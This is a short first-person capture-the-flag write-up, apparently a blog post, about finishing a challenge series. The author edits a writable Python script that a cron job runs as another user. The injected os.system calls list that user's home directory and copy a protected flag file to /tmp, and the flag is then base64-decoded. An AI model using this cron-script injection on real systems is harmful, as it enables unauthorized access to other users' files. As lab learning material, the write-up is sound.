Well, we got to the final challenge so quickly! Back in challenge 6 I found a python script running as cypher that we can write to, that is running as a cronjob! All we should have to do here is figure out a payload. Let's test that it's actually running first...
$ vim /tmp/Gathering.py
-bash: /usr/bin/vim: Permission denied
# Oh yeah...
$ nano /tmp/Gathering.py
import os
os.system('ps aux > /tmp/28JNvE05KBltE8S7o2xu')
... Change to ...
import os
os.system('ps aux > /tmp/test.txt')
Now we wait for a while...
$ watch
-bash: /usr/bin/watch: Permission denied
Rolls eyes 3 minutes later (the crontab from challenge 6 shows the schedule)
$ cat /tmp/test.txt
... output of ps ...
Okay sweet, now what... Let's see what's in their home directly
import os
os.system('ls -al /home/cypher > /tmp/test0.txt')
$ cat /tmp/test0.txt
$ cat test0.txt
total 24
dr-x------ 2 cypher cypher 4096 Oct 17 2018 .
drwxr-xr-x 8 root root 4096 May 30 2018 ..
lrwxrwxrwx 1 root root 9 May 30 2018 .bash_history -> /dev/null
-r-x------ 1 cypher cypher 235 May 30 2018 .bash_logout
-r-x------ 1 cypher cypher 3414 May 30 2018 .bashrc
-r-x------ 1 cypher cypher 60 Oct 2 2018 flag.txt
lrwxrwxrwx 1 root root 9 Oct 17 2018 .mysql_history -> /dev/null
-r-x------ 1 cypher cypher 675 May 30 2018 .profile
Alright, well it's pretty clear how to win this one now too! Early recon helped a lot here!
import os
os.system('cat /home/cypher/flag.txt > /tmp/test1.txt')
$ cat /tmp/test1.txt
BASE ?
RkxBRy0wY2ZjMzM5MGEwODJhMjJmZGQ3NjNmNDQyNmY0MzI5Ng==
$ cat "RkxBRy0wY2ZjMzM5MGEwODJhMjJmZGQ3NjNmNDQyNmY0MzI5Ng==" | base64 --decode
FLAG-xxx
One series down! Feels pretty great to have got this one so quickly for the first on my journey, I'm sure I'll get stuck on the next series.